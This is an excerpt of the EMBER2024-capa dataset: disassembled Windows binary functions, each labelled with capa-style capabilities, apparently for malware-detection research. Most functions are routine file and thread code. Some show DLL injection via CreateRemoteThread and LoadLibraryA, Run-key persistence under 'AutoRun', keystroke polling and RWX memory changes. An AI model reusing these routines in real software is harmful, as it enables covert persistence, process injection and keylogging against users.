joyce8/EMBER2024-capa huggingface dataset:
Function at 0x430a5f
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push esi
mov esi, dword [sym.imp.USER32.dll_PeekMessageW]
push edi
xor edi, edi
jmp 0x430a85
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
push edi
push edi
push edi
lea eax, [ebp - 0x34]
push eax
call esi
test eax, eax
jne 0x430a71
mov dword [ebp - 0x18], edi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
or dword [ebp - 0x10], 0xffffffff
or dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
test edi, edi
jne 0x430b46
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x430b46
mov edi, dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
jmp 0x430b10
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 0x34]
push eax
call esi
test eax, eax
jne 0x430aeb
push 0x4ff
push 0xffffffffffffffff
push 1
lea eax, [ebp - 8]
push eax
push 1
call edi
test eax, eax
jne 0x430aff
push 1
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
jmp 0x430b59
mov ecx, dword [ebp + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp - 8]
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x433964
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
push 0
mov edi, eax
lea eax, [ebp - 4]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 4]
push edi
call fcn.0043390a
push edi
mov esi, eax
call dword [sym.imp.msvcrt.dll_free]
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x435372
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
lea eax, [ebp - 0x214]
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
test edi, edi
je 0x435413
push esi
push edi
push 1
call dword [sym.imp.msvcrt.dll_calloc]
pop ecx
pop ecx
mov esi, eax
lea eax, [ebp - 0x214]
push esi
push edi
push dword [ebp - 8]
push eax
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x43540a
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x440390
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x43540a
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
mov ecx, dword [eax + 0xc]
movzx eax, cx
push eax
shr ecx, 0x10
push ecx
movzx eax, dx
push eax
shr edx, 0x10
push edx
push str._d._d._d._d
push dword [ebp + 8]
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0x18
push esi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop esi
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x43564c
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x435671
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x435671
xor eax, eax
jmp 0x43569a
push 0
push 0x4356a3
push 0x43569d
push 0x435706
push dword [ebp + 8]
mov dword [0x443404], esi
call fcn.00437348
add esp, 0x14
and dword [0x443404], 0
pop esi
pop ebp
ret
Function at 0x437348
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push esi
mov esi, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 8], edx
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, dx
jne 0x43735d
xor eax, eax
sub esi, ecx
push 0x20a
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push edx
push eax
sar esi, 1
call sub.msvcrt.dll_memset
lea eax, [esi*2 + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x214]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0x18
push 0x5c
pop eax
test esi, esi
je 0x4373b2
cmp word [ebp + esi*2 - 0x216], ax
je 0x4373bb
mov word [ebp + esi*2 - 0x214], ax
inc esi
push 0x2a
pop eax
mov word [ebp + esi*2 - 0x214], ax
lea eax, [ebp - 0x66c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x4373ea
xor eax, eax
inc eax
jmp 0x437525
push edi
xor edi, edi
inc edi
lea eax, [ebp - 0x640]
push 0x440a8c
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x4374f4
lea eax, [ebp - 0x640]
push 0x440a90
push eax
call dword [sym.imp.msvcrt.dll__wcsicmp]
pop ecx
pop ecx
test eax, eax
je 0x4374f4
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call sub.msvcrt.dll_memset
lea eax, [esi*2]
push eax
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push eax
call sub.msvcrt.dll_memcpy
lea ecx, [ebp - 0x640]
add esp, 0x18
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 8]
jne 0x437468
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x640]
push eax
lea eax, [ebp - 0x41c]
lea eax, [eax + esi*2]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
test byte [ebp - 0x66c], 0x10
je 0x4374d6
cmp dword [ebp + 0x14], 0
je 0x4374b9
push dword [ebp + 0x18]
lea eax, [ebp - 0x41c]
push eax
call dword [ebp + 0x14]
test eax, eax
je 0x4374f4
push dword [ebp + 0x18]
lea eax, [ebp - 0x41c]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
call fcn.00437348
add esp, 0x14
jmp 0x4374e3
push dword [ebp + 0x18]
lea eax, [ebp - 0x41c]
push eax
call dword [ebp + 0xc]
test eax, eax
je 0x4374f0
test edi, edi
je 0x4374f0
xor edi, edi
inc edi
jmp 0x4374f4
xor eax, eax
mov edi, eax
lea eax, [ebp - 0x66c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4373ee
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
test edi, edi
je 0x437522
push dword [ebp + 0x18]
push dword [ebp + 8]
call dword [ebp + 0x10]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x43a245
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 0x58
push 1
call dword [sym.imp.msvcrt.dll_calloc]
mov esi, eax
movss xmm0, dword [ebp + 0x1c]
mov eax, dword [ebp + 0x18]
xor edi, edi
mov dword [0x4433fc], edi
pop ecx
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x20]
mov dword [esi + 0x18], eax
mov eax, dword [ebp + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [ebp + 0x30]
mov dword [esi + 0x28], eax
mov eax, dword [ebp + 0x34]
mov dword [esi + 0x2c], eax
mov eax, dword [ebp + 0x38]
mov dword [esi + 0x30], eax
mov eax, dword [ebp + 0x3c]
pop ecx
mov ecx, dword [ebp + 8]
mov dword [esi], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x34], eax
mov eax, dword [ebp + 0x44]
mov dword [esi + 4], ecx
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x38], eax
mov eax, dword [ebp + 0x48]
mov dword [esi + 8], ecx
mov ecx, dword [ebp + 0x14]
mov dword [esi + 0x3c], eax
mov eax, dword [ebp + 0x4c]
mov dword [esi + 0xc], ecx
xor ecx, ecx
mov dword [esi + 0x40], eax
mov eax, dword [ebp + 0x28]
test eax, eax
movss dword [esi + 0x14], xmm0
cmovne ecx, dword [ebp + 0x2c]
mov dword [esi + 0x24], ecx
mov ecx, dword [ebp + 0x40]
mov dword [esi + 0x20], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43a2d4
sub ecx, edx
lea eax, [ecx + 1]
push eax
push dword [ebp + 0x40]
lea eax, [esi + 0x44]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
push edi
push edi
push esi
push 0x43a304
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebp
ret
Function at 0x43b810
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
lea eax, [ebp - 0x40]
push eax
push 0x20
push 0xd
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.msvcrt.dll__wtol]
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x700c13a5
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x700c14c1
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x700c15ba
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x700c1600
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x700c1649
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x700c1646
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x700c1649
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x700c1c10
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x700c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x700c6034]
sub esp, 4
test ebx, ebx
je 0x700c1c5b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x700c1c54
test esi, esi
je 0x700c1c54
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x700c1c30
mov dword [esp], 0x700c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x700c1e40
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x700c428c
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x700c1e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x700c1f68
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x700c1ece
cmp eax, 4
jne 0x700c1ef0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x700c1ede
cmp edx, 4
je 0x700c1ede
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.700c1e40
Function at 0x1001cc3d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0x2552
push 0
push 0
push 0
push 0
push 0x12f3
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebp
ret
Function at 0x10023703
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10023754
lea eax, [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x10023740
push 0x1635
push 0
push 0x6a6
push 0
push 0x1268
push 0x1345
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
jmp 0x10023752
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
jmp 0x1002376c
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x20be
push 0
call fcn.10022f6c
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x100300a2
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100300dd
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
push 0x3f3a
push dword [ebp - 8]
push 0x58d1
push 1
push dword [ebp - 0xc]
push 0x6dbe
call fcn.10030152
add esp, 0x18
jmp 0x1003014e
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x10030103
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x1003014e
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10030131
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x1003014e
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x24]
call fcn.10011607
mov dword [eax], 0x8299
jmp 0x10030126
mov esp, ebp
pop ebp
ret
Function at 0x10032183
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063acd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x40
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x100322c4
lea eax, [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x6b79
mov dword [ebp - 0x28], 0x1000a0d0
cmp dword [ebp - 0x1c], 0x6f36
jle 0x10032255
push 0x2089
push 0x1df3
push 0
push 0x19dc
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
and dword [ebp - 0x14], 0
jmp 0x100321f8
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x33f9
jge 0x10032255
and dword [ebp - 0x18], 0
jmp 0x1003220e
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x1030
jge 0x10032253
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
mov eax, edx
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
push dword [ebp - 0x34]
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.1000d05e
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
call fcn.1001131e
push eax
call fcn.1004d84f
pop ecx
lea ecx, [ebp - 0x50]
call fcn.10011314
jmp 0x10032207
jmp 0x100321f1
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10032275
push 0
push 0
push 0x1829
push 0x1a97
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x10032286
push 0
push 0x140f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
and dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0x6931
jge 0x1003229c
push dword [ebp - 0x28]
call fcn.1004d84f
pop ecx
jmp 0x100322b8
or dword [ebp - 4], 0xffffffff
jmp 0x100322c2
jmp 0x100322e5
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
push 0x672a
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
call fcn.1002aba4
add esp, 0x10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003fbc4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10063e95
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x18]
test eax, eax
je 0x1003fd8b
lea eax, [ebp + 0xc]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1003fd73
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 0x7a44
mov dword [ebp - 0x40], 0x1000ad60
cmp dword [ebp - 0x2c], 0x7c6e
jle 0x1003fcf0
and dword [ebp - 0x1c], 0
jmp 0x1003fc40
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x16ab
jge 0x1003fcdc
and dword [ebp - 0x20], 0
jmp 0x1003fc5a
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x1440
jge 0x1003fcd7
and dword [ebp - 0x24], 0
jmp 0x1003fc70
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x24c1
jge 0x1003fcd2
and dword [ebp - 0x28], 0
jmp 0x1003fc86
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0x2dae
jge 0x1003fcd0
mov eax, dword [ebp - 0x1c]
xor eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x28]
xor eax, ecx
cdq
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], edx
push dword [ebp - 0x54]
push dword [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.1000d05e
pop ecx
pop ecx
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
call fcn.1001131e
push eax
call fcn.1004d84f
pop ecx
lea ecx, [ebp - 0x70]
call fcn.10011314
jmp 0x1003fc7f
jmp 0x1003fc69
jmp 0x1003fc53
jmp 0x1003fc39
push 0x842
push 0
push 0
push 0xb23
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x48], eax
and dword [ebp - 4], 0
cmp dword [ebp - 0x2c], 0x7964
jge 0x1003fd0c
push dword [ebp - 0x40]
call fcn.1004d84f
pop ecx
jmp 0x1003fd28
or dword [ebp - 4], 0xffffffff
jmp 0x1003fd32
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x18]
mov dword [eax], 0
jmp 0x1003fd54
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
cmp dword [eax], 1
jge 0x1003fd71
mov eax, dword [ebp - 0x18]
push dword [eax]
mov ecx, dword [ebp - 0x4c]
call fcn.10011607
mov dword [eax], 4
jmp 0x1003fd49
jmp 0x1003fd89
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp - 0x11]
test eax, eax
je 0x1003fd89
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x1003fdc2
lea eax, [ebp + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
movzx eax, byte [eax]
test eax, eax
je 0x1003fdaa
push 0
push 0x2365
call dword [sym.imp.USER32.dll_RemovePropA]
jmp 0x1003fdc2
push 0x2552
push 0
push 0
push 0
push 0
push 0x12f3
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret